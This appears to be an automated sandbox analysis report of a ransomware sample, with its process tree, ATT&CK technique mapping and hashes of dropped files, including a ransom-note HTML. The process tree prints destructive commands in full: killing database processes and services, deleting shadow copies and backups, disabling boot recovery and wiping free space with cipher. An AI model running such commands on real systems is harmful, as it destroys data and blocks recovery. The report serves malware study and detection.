PID 1648 wrote to memory of 2672	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	111
PID 1648 wrote to memory of 2672	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	111
PID 1648 wrote to memory of 2672	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	111
PID 2672 wrote to memory of 1868	2672	cmd.exe	113
PID 2672 wrote to memory of 1868	2672	cmd.exe	113
PID 1868 wrote to memory of 1816	1868	cmd.exe	114
PID 1868 wrote to memory of 1816	1868	cmd.exe	114
PID 1648 wrote to memory of 3592	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	115
PID 1648 wrote to memory of 3592	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	115
PID 1648 wrote to memory of 3592	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	115

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3332
- C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
  "C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Adds Run key to start application
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c rem Kill "SQL"
      4⤵
      PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4892
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlbrowser.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1076
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sql writer.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3096
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sql writer.exe
        5⤵
        Kills process with taskkill
        
        PID:4480
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlserv.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:652
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im msmdsrv.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3384
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1184
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im MsDtsSrvr.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2108
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:336
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im sqlceip.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2032
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3300
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3016
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im fdlauncher.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2624
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1868
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im Ssms.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE
      4⤵
      PID:1404
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im SQLAGENT.EXE
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2780
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe
      4⤵
      PID:488
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im fdhost.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:468
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe
      4⤵
      PID:2908
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im ReportingServicesService.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:876
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe
      4⤵
      PID:2584
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im msftesql.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe
      4⤵
      PID:1768
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -im pg_ctl.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4464
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1788
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c taskkill -f -impostgres.exe
      4⤵
      PID:4636
    - - C:\Windows\system32\taskkill.exe
        
        taskkill -f -impostgres.exe
        5⤵
        Kills process with taskkill
        
        PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper100
      4⤵
      PID:1248
    - - C:\Windows\system32\net.exe
        
        net stop MSSQLServerADHelper100
        5⤵
        
        PID:5052
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQLServerADHelper100
        6⤵
        
        PID:1060
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS
      4⤵
      PID:2380
    - - C:\Windows\system32\net.exe
        
        net stop MSSQL$ISARS
        5⤵
        
        PID:3192
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$ISARS
        6⤵
        
        PID:1348
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW
      4⤵
      PID:2620
    - - C:\Windows\system32\net.exe
        
        net stop MSSQL$MSFW
        5⤵
        
        PID:2420
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$MSFW
        6⤵
        
        PID:888
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS
      4⤵
      PID:4840
    - - C:\Windows\system32\net.exe
        
        net stop SQLAgent$ISARS
        5⤵
        
        PID:4836
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLAgent$ISARS
        6⤵
        
        PID:2428
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW
      4⤵
      PID:3056
    - - C:\Windows\system32\net.exe
        
        net stop SQLAgent$MSFW
        5⤵
        
        PID:4992
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLAgent$MSFW
        6⤵
        
        PID:872
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLBrowser
      4⤵
      PID:3160
    - - C:\Windows\system32\net.exe
        
        net stop SQLBrowser
        5⤵
        
        PID:4716
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLBrowser
        6⤵
        
        PID:2248
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop REportServer$ISARS
      4⤵
      PID:3096
    - - C:\Windows\system32\net.exe
        
        net stop REportServer$ISARS
        5⤵
        
        PID:4480
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop REportServer$ISARS
        6⤵
        
        PID:3536
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c net stop SQLWriter
      4⤵
      PID:3724
    - - C:\Windows\system32\net.exe
        
        net stop SQLWriter
        5⤵
        
        PID:3516
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop SQLWriter
        6⤵
        
        PID:3860
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
      4⤵
      PID:244
    - - C:\Windows\system32\vssadmin.exe
        
        vssadmin.exe Delete Shadows /All /Quiet
        5⤵
        Interacts with shadow copies
        
        PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet
      4⤵
      PID:3292
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -keepVersion:0 -quiet
        5⤵
        Deletes system backups
        
        PID:4088
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
      4⤵
      PID:1000
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin DELETE SYSTEMSTATEBACKUP
        5⤵
        Deletes System State backups
        
        PID:1180
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
      4⤵
      PID:2980
    - - C:\Windows\system32\wbadmin.exe
        
        wbadmin DELETE SYSTEMSTABACKUP -deleteOldest
        5⤵
        Drops file in Windows directory
        
        PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive
      4⤵
      PID:1872
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic.exe SHADOWCOPY /nointeractive
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
    3⤵
    - System Location Discovery: System Language Discovery
    PID:568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No
      4⤵
      PID:2164
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} recoverynabled No
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3124
- - C:\Windows\SysWOW64\cmd.exe
    \\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:3276
    - - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2484
- - C:\Windows\SYSTEM32\cipher.exe
    cipher /w:\\?\A:
    3⤵
    - Enumerates connected drives
    PID:5284
- - C:\Windows\SYSTEM32\cipher.exe
    cipher /w:\\?\C:
    3⤵
    PID:5288
- - C:\Windows\SYSTEM32\cipher.exe
    cipher /w:\\?\F:
    3⤵
    - Enumerates connected drives
    PID:5300
- C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
  \\?\C:\Users\Admin\AppData\Local\Temp\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe -network
  2⤵
  - Adds Run key to start application
  PID:5772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\How_to_back_files.html
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff87aaf3cb8,0x7ff87aaf3cc8,0x7ff87aaf3cd8
    3⤵
    PID:5736
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1920 /prefetch:2
    3⤵
    PID:7872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
    3⤵
    PID:7912
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2756 /prefetch:8
    3⤵
    PID:7964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:8020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:8028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3968 /prefetch:8
    3⤵
    PID:4080
- - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4868 /prefetch:8
    3⤵
    PID:2600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4540 /prefetch:1
    3⤵
    PID:1716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4536 /prefetch:1
    3⤵
    PID:3844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4064 /prefetch:1
    3⤵
    PID:4192
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,2720679521512500289,18214380847296058250,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4980 /prefetch:1
    3⤵
    PID:2476

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:468

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\How_to_back_files.html

Filesize
5KB

MD5
e0e422040d7e04f1e32d2f1cdb4de5f1

SHA1
d8addf8ee58ba6e6aed421301fa3a40b8c6df04c

SHA256
f700dac36fe457e10a0c5cf01179fadc3980ee0a9d66655c766fb2cc2f02a978

SHA512
90faece73bd328cc229f1d6e1fc68db96c1eedb83bd89340d8dd96ae9339149dd7b33f4be7e3f02853995f70e40da0fe487811a0b6e7bb655c64e4a310cfefce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
02a4b762e84a74f9ee8a7d8ddd34fedb

SHA1
4a870e3bd7fd56235062789d780610f95e3b8785

SHA256
366e497233268d7cdf699242e4b2c7ecc1999d0a84e12744f5af2b638e9d86da

SHA512
19028c45f2e05a0cb32865a2554513c1536bf9da63512ff4e964c94a3e171f373493c7787d2d2a6df8012648bbefab63a9de924f119c50c39c727cf81bdc659f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
826c7cac03e3ae47bfe2a7e50281605e

SHA1
100fbea3e078edec43db48c3312fbbf83f11fca0

SHA256
239b1d7cc6f76e1d1832b0587664f114f38a21539cb8548e25626ed5053ea2ab

SHA512
a82f3c817a6460fd8907a4ac6ab37c2129fb5466707edcfb565c255680d7f7212a5669fe2a42976150f16e4e549ea8310078f22ed35514ee1b7b45b46d8cc96e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
c5fa2a8091c570192518aa348b433e42

SHA1
26bea3baf3324ba1c9c7f76c324764d66c34baf7

SHA256
5e0290a6a9df7a93d8fb644712399af26c7ea7f72ba77153d2aa44bed962e65c

SHA512
b93c9c3bb27298a807ae8ee778f27d78b31553224ba2a3a5e7444a1e04b617084991b7f5f565bfcdf9a1bae5125912f4543744259d9a1d7fad9d47d3b7ccd074

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
